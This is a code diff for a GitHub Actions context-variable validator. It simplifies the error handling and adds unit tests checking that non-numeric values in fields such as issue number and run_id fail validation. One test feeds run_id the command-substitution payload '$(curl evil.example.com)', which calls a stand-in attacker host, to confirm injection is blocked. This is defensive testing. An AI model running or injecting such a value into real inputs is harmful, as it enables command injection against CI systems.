diff --git a/actions/setup/js/validate_context_variables.cjs b/actions/setup/js/validate_context_variables.cjs
index 2f3b78c80ab..45481ac4b2a 100644
--- a/actions/setup/js/validate_context_variables.cjs
+++ b/actions/setup/js/validate_context_variables.cjs
@@ -45,7 +45,6 @@
  *   not a numeric database ID. Push events always produce a hex SHA here.
  */
 
-const { getErrorMessage } = require("./error_helpers.cjs");
 const { ERR_VALIDATION } = require("./error_codes.cjs");
 
 /**
@@ -146,58 +145,44 @@ function validateNumericValue(value, varName) {
  * @param {object} ctx - GitHub Actions context object
  */
 async function validateContextVariables(coreArg, ctx) {
-  try {
-    coreArg.info("Starting context variable validation...");
-
-    const failures = [];
-    let checkedCount = 0;
-
-    // Validate each numeric context variable by reading directly from context
-    for (const { path, name } of NUMERIC_CONTEXT_PATHS) {
-      const value = getNestedValue(ctx, path);
-
-      // Only validate if the value exists
-      if (value !== undefined) {
-        checkedCount++;
-        const result = validateNumericValue(value, name);
-
-        if (result.valid) {
-          coreArg.info(`✓ ${result.message}`);
-        } else {
-          coreArg.error(`✗ ${result.message}`);
-          failures.push({
-            name,
-            value,
-            message: result.message,
-          });
-        }
+  coreArg.info("Starting context variable validation...");
+
+  const failures = [];
+  let checkedCount = 0;
+
+  for (const { path, name } of NUMERIC_CONTEXT_PATHS) {
+    const value = getNestedValue(ctx, path);
+    if (value !== undefined) {
+      checkedCount++;
+      const result = validateNumericValue(value, name);
+      if (result.valid) {
+        coreArg.info(`✓ ${result.message}`);
+      } else {
+        coreArg.error(`✗ ${result.message}`);
+        failures.push({ name, value, message: result.message });
       }
     }
+  }
 
-    coreArg.info(`Validated ${checkedCount} context variables`);
-
-    // If there are any failures, fail the workflow
-    if (failures.length > 0) {
-      const errorMessage =
-        `Context variable validation failed!\n\n` +
-        `Found ${failures.length} malicious or invalid numeric field(s):\n\n` +
-        failures.map(f => `  - ${f.name}: "${f.value}"\n    ${f.message}`).join("\n\n") +
-        "\n\n" +
-        "Numeric context variables (like github.event.issue.number) must be either empty or valid integers.\n" +
-        "This validation prevents injection attacks where special text or code is hidden in numeric fields.\n\n" +
-        "If you believe this is a false positive, please report it at:\n" +
-        "https://github.com/github/gh-aw/issues";
-
-      coreArg.setFailed(errorMessage);
-      throw new Error(errorMessage);
-    }
-
-    coreArg.info("✅ All context variables validated successfully");
-  } catch (error) {
-    const errorMessage = getErrorMessage(error);
-    coreArg.setFailed(`${ERR_VALIDATION}: Context variable validation failed: ${errorMessage}`);
-    throw error;
+  coreArg.info(`Validated ${checkedCount} context variables`);
+
+  if (failures.length > 0) {
+    const failureDetails = failures.map(f => `  - ${f.name}: "${f.value}"\n    ${f.message}`).join("\n\n");
+    const errorMessage =
+      `${ERR_VALIDATION}: Context variable validation failed!\n\n` +
+      `Found ${failures.length} malicious or invalid numeric field(s):\n\n` +
+      failureDetails +
+      "\n\n" +
+      "Numeric context variables (like github.event.issue.number) must be either empty or valid integers.\n" +
+      "This validation prevents injection attacks where special text or code is hidden in numeric fields.\n\n" +
+      "If you believe this is a false positive, please report it at:\n" +
+      "https://github.com/github/gh-aw/issues";
+
+    coreArg.setFailed(errorMessage);
+    throw new Error(errorMessage);
   }
+
+  coreArg.info("✅ All context variables validated successfully");
 }
 
 /**
diff --git a/actions/setup/js/validate_context_variables.test.cjs b/actions/setup/js/validate_context_variables.test.cjs
index 77a9fa14514..02a5fa828cb 100644
--- a/actions/setup/js/validate_context_variables.test.cjs
+++ b/actions/setup/js/validate_context_variables.test.cjs
@@ -357,4 +357,85 @@ describe("validateContextVariables", () => {
     expect(mockCore.setFailed).toHaveBeenCalled();
     expect(mockCore.error).toHaveBeenCalledWith(expect.stringContaining("non-numeric"));
   });
+
+  it("should include ERR_VALIDATION prefix in setFailed message", async () => {
+    const ctx = {
+      payload: { issue: { number: "not-a-number" } },
+    };
+
+    await expect(validateContextVariables(mockCore, ctx)).rejects.toThrow();
+    expect(mockCore.setFailed).toHaveBeenCalledTimes(1);
+    expect(mockCore.setFailed).toHaveBeenCalledWith(expect.stringContaining("ERR_VALIDATION"));
+  });
+
+  it("should call setFailed only once on validation failure", async () => {
+    const ctx = {
+      payload: { issue: { number: "inject" } },
+    };
+
+    await expect(validateContextVariables(mockCore, ctx)).rejects.toThrow();
+    expect(mockCore.setFailed).toHaveBeenCalledTimes(1);
+  });
+
+  it("should report zero validated variables when context has no known fields", async () => {
+    const ctx = {};
+
+    await validateContextVariables(mockCore, ctx);
+
+    expect(mockCore.setFailed).not.toHaveBeenCalled();
+    expect(mockCore.info).toHaveBeenCalledWith("Validated 0 context variables");
+    expect(mockCore.info).toHaveBeenCalledWith(expect.stringContaining("✅ All context variables validated successfully"));
+  });
+
+  it("should report the correct count of validated variables", async () => {
+    const ctx = {
+      payload: { issue: { number: 1 }, pull_request: { number: 2 } },
+      run_id: 999,
+    };
+
+    await validateContextVariables(mockCore, ctx);
+
+    expect(mockCore.setFailed).not.toHaveBeenCalled();
+    expect(mockCore.info).toHaveBeenCalledWith("Validated 3 context variables");
+  });
+
+  it("should report all failures when multiple invalid fields are present", async () => {
+    const ctx = {
+      payload: {
+        issue: { number: "bad1" },
+        pull_request: { number: "bad2" },
+        comment: { id: "bad3" },
+      },
+    };
+
+    await expect(validateContextVariables(mockCore, ctx)).rejects.toThrow();
+    expect(mockCore.setFailed).toHaveBeenCalledTimes(1);
+    const failMsg = mockCore.setFailed.mock.calls[0][0];
+    expect(failMsg).toContain("3 malicious or invalid");
+    expect(failMsg).toContain("github.event.issue.number");
+    expect(failMsg).toContain("github.event.pull_request.number");
+    expect(failMsg).toContain("github.event.comment.id");
+  });
+
+  it("should validate run_id and run_number at the top level of context", async () => {
+    const ctx = {
+      run_id: 42,
+      run_number: 7,
+    };
+
+    await validateContextVariables(mockCore, ctx);
+
+    expect(mockCore.setFailed).not.toHaveBeenCalled();
+    expect(mockCore.info).toHaveBeenCalledWith("Validated 2 context variables");
+  });
+
+  it("should fail when run_id contains non-numeric data", async () => {
+    const ctx = {
+      run_id: "$(curl evil.example.com)",
+      run_number: 1,
+    };
+
+    await expect(validateContextVariables(mockCore, ctx)).rejects.toThrow();
+    expect(mockCore.setFailed).toHaveBeenCalledWith(expect.stringContaining("github.run_id"));
+  });
 });